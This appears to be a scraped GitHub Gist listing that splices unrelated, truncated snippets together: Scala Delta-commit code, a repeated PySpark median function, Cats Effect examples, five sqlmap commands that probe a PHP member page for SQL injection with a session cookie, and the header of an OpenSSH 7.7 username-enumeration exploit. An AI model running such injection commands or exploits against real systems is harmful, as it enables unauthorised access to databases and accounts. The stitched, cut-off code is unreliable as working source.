Skip to content

Instantly share code, notes, and snippets.

private def monotonizeCommitTimestamps[T <: CommitMarker](commits: Array[T]): Array[T] = {
var i = 0
val length = commits.length
while (i < length - 1) {
val prevTimestamp = commits(i).getTimestamp
assert(commits(i).getVersion < commits(i + 1).getVersion, "Unordered commits provided.")
if (prevTimestamp >= commits(i + 1).getTimestamp) {
logWarning(s"Found Delta commit ${commits(i).getVersion} with a timestamp $prevTimestamp " +
s"which is greater than the next commit timestamp ${commits(i + 1).getTimestamp}.")
commits(i + 1) = commits(i + 1).withTimestamp(prevTimestamp + 1).asInstanceOf[T]
private def monotonizeCommitTimestamps[T <: CommitMarker](commits: Array[T]): Array[T] = {
commits.tail.scanLeft(commits.head)((prev, current) => {
assert(prev.getVersion < current.getVersion, "Unordered commits provided.")
if (prev.getTimestamp >= current.getTimestamp) {
logWarning(s"Found Delta commit ${prev.getVersion} with a timestamp ${prev.getTimestamp} " +
s"which is greater than the next commit timestamp ${current.getTimestamp}.")
current.withTimestamp(prev.getTimestamp + 1).asInstanceOf[T]
}
else {
current
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems&fid=-0" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" --dbs
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems&fid=1" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" -p fid --dbs
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" -p fid --dbs
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems&fid=1" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" -p fid --dbs
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" --dbs
# Exploit: OpenSSH 7.7 - Username Enumeration
# Author: Justin Gardner
# Date: 2018-08-20
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
# Affected Versions: OpenSSH version < 7.7
# CVE: CVE-2018-15473
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
from pyspark.sql.types import *
import pyspark.sql.functions as F
import numpy as np
def find_median(values):
try:
median = np.median(values) #get the median of values in a list in each row
return round(float(median),2)
except Exception:
return None #if there is anything wrong with the given values
from pyspark.sql.types import *
import pyspark.sql.functions as F
import numpy as np
def find_median(values):
try:
median = np.median(values) #get the median of values in a list in each row
return round(float(median),2)
except Exception:
return None #if there is anything wrong with the given values
from pyspark.sql.types import *
import pyspark.sql.functions as F
import numpy as np
def find_median(values):
try:
median = np.median(values) #get the median of values in a list in each row
return round(float(median),2)
except Exception:
return None #if there is anything wrong with the given values
import cats.effect.IO
import cats.implicits._
object CatsEffect2 extends App {
val printF = IO(println("Hi there!"))
val effects = for {
_ <- printF
_ <- printF
} yield ()
effects.unsafeRunSync
import cats.effect.IO
import cats.implicits._
object CatsEffect extends App {
val effect = for {
_ <- IO(println("1"))
_ <- IO(println("2"))
} yield ()
effect.unsafeRunSync
}
import scala.concurrent.{Await, Future}
import scala.concurrent.ExecutionContext.Implicits.global
import scala.concurrent.duration._
object FutureExample2 extends App {
val printF = Future { println("Hi there!") }
val futureObject = for {
_ <- printF
_ <- printF